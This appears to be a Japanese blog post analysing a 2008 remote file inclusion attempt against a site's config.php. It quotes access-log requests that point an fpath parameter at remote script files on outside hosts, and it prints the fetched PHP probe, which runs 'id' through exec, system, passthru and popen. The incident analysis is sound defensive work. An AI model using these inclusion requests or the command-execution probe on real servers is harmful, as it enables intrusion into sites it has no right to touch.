PHP config.phpへの不正アクセス

[Fri Jan 18 01:54:47 2008] [error] [client 212.129.206.145] script
'/foo/bar/htdocs/config.php' not found or unable to stat

config.phpをねらうなんて、明らかに不正な香りが漂っています。

apacheのアクセスログも調査をしてみました。
外部のスクリプトを読み込ませ、実行させようとしているように見えるクエリが渡ってきています。ユーザエージェントは、perlと言っています。

194.30.169.80 - - [18/Jan/2008:01:39:32 +0900] "GET
/config.php?fpath=http://www.gumgangfarm.com/shop/data/id.txt?
HTTP/1.1" 404 8322 "-" "libwww-perl/5.805"
212.129.206.145 - - [18/Jan/2008:01:54:47 +0900] "GET
/config.php?fpath=http://politics.wwf.gr/help/css/cmd.txt? HTTP/1.1"
404 8322 "-" "libwww-perl/5.79"
212.129.206.145 - - [18/Jan/2008:01:54:51 +0900] "GET
/youtube/search/config.ph
?fpath=http://politics.wwf.gr/help/css/cmd.txt? HTTP/1.1" 200 11959
"-" "libwww-perl/5.79"

$ host 194.30.169.80
80.169.30.194.in-addr.arpa domain name pointer
babar.kontrollpanelen.se.
$ host 212.129.206.145
145.206.129.212.in-addr.arpa domain name pointer
hgv-c-4e91.adsl.wanadoo.nl.

http://www.gumgangfarm.com/shop/data/id.txt
を読んでみました。少し整形してあります。

このPHPスクリプトは、idコマンドを実行するして echo するだけのようです。うまくいったら、きっと次のスクリプトを流し込んで、あんなことや、こんなことをされちゃうのでしょう。

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
	$res = '';
	if (!empty($cfe)){
		if(function_exists('exec')){
			@exec($cfe,$res);
			$res = join("\n",$res);
		}
		elseif(function_exists('shell_exec')){
			$res = @shell_exec($cfe);
		}
		elseif(function_exists('system')){
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		elseif(function_exists('passthru')){
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		elseif(@is_resource($f = @popen($cfe,"r"))){
			$res = "";
			while(!@feof($f)) { $res .= @fread($f,1024); }
			@pclose($f);
		}}
		return $res;
}
exit;